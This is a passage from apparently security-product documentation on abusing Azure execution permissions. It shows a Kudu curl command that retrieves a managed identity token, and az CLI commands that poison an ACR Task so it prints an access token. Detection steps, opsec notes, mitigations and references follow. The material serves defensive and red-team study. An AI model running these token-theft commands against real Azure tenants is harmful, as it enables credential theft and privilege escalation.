![Retrieve a managed identity token from Linux App Service Web SSH](https://3408039743-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FObpV44hoVkNmo5bFuVVL%2Fuploads%2Fgit-blob-4bab5383d213e2023a6b2ea03b508f26f375a8f5%2Fazure-az_execute_command-app_service_web_ssh_managed_identity_token_linux.png?alt=media)

**Windows (via Kudu console)**

On Windows App Services, the Kudu console has access to identity environment variables.

```cmd
REM X-IDENTITY-HEADER method
curl "%IDENTITY_ENDPOINT%?resource=https://management.azure.com&api-version=2019-08-01" -H X-IDENTITY-HEADER:%IDENTITY_HEADER% -o token.txt
type token.txt
```

**Request tokens for different resources:**

| Resource             | Token Scope                     |
| -------------------- | ------------------------------- |
| Azure Management API | `https://management.azure.com/` |
| Key Vault            | `https://vault.azure.net`       |
| Storage              | `https://storage.azure.com/`    |
| Microsoft Graph      | `https://graph.microsoft.com`   |

### Detection

Use the Azure Portal:

1. In the [Azure Portal](https://portal.azure.com), open the **subscription**, **resource group**, **App Service**, or **Function App** you want to review.
2. Open **Activity log**.
3. Filter **Operation** for publishing and configuration access, such as **Publish Web App**, **List Publishing Credentials**, and **List Web App Config**.
4. Review the **Event initiated by**, **Timestamp**, **Resource**, **Status**, and **Change history** fields for unexpected identities, unusual publishing activity, or suspicious configuration access.
5. On the App Service or Function App blade, use **Log stream** from the Azure Portal for real-time review when investigating active activity.

## AZACR - Azure Container Registry (ACR Tasks)

`Microsoft.ContainerRegistry/registries/tasks/write` + `scheduleRun/action` enables code execution via ACR Tasks.

### Attack Paths

| Path                          | Description                                                                                                                                                                                                          |
| ----------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **Poison existing Task**      | If a Task already has a managed identity attached, update its `step.cmd` or redirect `--context` to attacker YAML. No `assign/action` needed.                                                                        |
| **Inject identity into Task** | If you have [AZ\_MANAGED\_IDENTITY\_ASSIGNABLE\_BY](https://docs.forestall.io/fsprotect/edges/azure/az_managed_identity_assignable_by) on a privileged UAMI, attach it to a new or existing Task to steal its token. |

### Exploitation

**If Tasks with assigned identities already exist** — poison them to steal the token:

```bash
# List Tasks with identities
az acr task list --registry "<RegistryName>" \
    --query "[?identity.type!=null].{name:name, type:identity.type}" -o table

# Update Task to exfil token
az acr task update --registry "<RegistryName>" --name "<TaskName>" \
    --cmd "az login --identity && az account get-access-token -o json"

# Run and read logs
az acr task run --registry "<RegistryName>" --name "<TaskName>"
az acr task logs --registry "<RegistryName>"
```

**If you can assign identities** — see [AZ\_MANAGED\_IDENTITY\_ASSIGNABLE\_BY](https://docs.forestall.io/fsprotect/edges/azure/az_managed_identity_assignable_by). ACR Tasks is one execution venue among many (VMs, Logic Apps, Function Apps, etc.).

### References

* [SpecterOps — Abusing Azure Container Registry Tasks](https://specterops.io/blog/2022/04/20/abusing-azure-container-registry-tasks/)
* [HackTricks — ACR privesc](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.html)

## Operational Security Notes

* **Azure Activity Log** often shows who ran Run Command or changed extensions (exact rows depend on your log setup).
* On the guest, these actions are still **SYSTEM** / **root** - your usual VM logs, EDR, and PowerShell logging still matter.
* Saved Run Commands and extensions **leave artifacts** on the VM definition. A one-shot `run-command invoke` is different for investigators and for cleanup.
* ACR Tasks **leave a Task resource** in the registry (`az acr task list`) and run logs in `az acr task list-runs` - short-lived, but persistent enough to forensically attribute.

## Mitigation

1. **Limit execution-capable role assignments**
   * Grant **Owner**, **Contributor**, **Virtual Machine Contributor**, **AKS Contributor Role**, and **Website Contributor** only where they are truly needed.
   * Prefer narrow scopes such as a single VM, AKS cluster, App Service, resource group, or subscription segment.
2. **Use custom roles and policy guardrails**
   * Remove `runCommand/action`, `runCommands/write`, extension writes, AKS Run Command, and Web publish actions where teams do not need command execution.
3. **Enable workload-level telemetry**
   * Use EDR on VMs, Kubernetes audit logging for AKS, and App Service logging or Kudu review where supported.
4. **Enable command and script logging**
   * Turn on PowerShell script block and module logging on Windows VMs where your team supports it.

## References

* [Azure Threat Research Matrix - AZT301-2: Run Command](https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-2/)
* [Azure Threat Research Matrix - AZT301-3: AKS Run Command](https://microsoft.github.io/Azure-Threat-Research-Matrix/Execution/AZT301/AZT301-3/)
* [Run Command overview (Azure VMs)](https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview)
* [Managed Run Command (Windows VMs)](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command-managed)
* [AKS Command Invoke](https://learn.microsoft.com/en-us/azure/aks/command-invoke)
* [VMSS Run Command](https://learn.microsoft.com/en-us/azure/virtual-machine-scale-sets/virtual-machine-scale-sets-run-command)
* [Kudu REST API](https://learn.microsoft.com/en-us/azure/app-service/resources-kudu)
* [SSH Access for Linux App Services](https://learn.microsoft.com/en-us/azure/app-service/configure-linux-open-ssh-session)
* [Azure Container Registry Tasks overview](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-overview)
* [Authenticate with managed identity in ACR Tasks](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-tasks-authentication-managed-identity)
* [SpecterOps - Abusing Azure Container Registry Tasks](https://posts.specterops.io/abusing-azure-container-registry-tasks-7c6fb5c8d99d)
* [HackTricks - Azure Container Registry privesc](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.html)
* [MITRE ATT\&CK - Execution](https://attack.mitre.org/tactics/TA0002/)
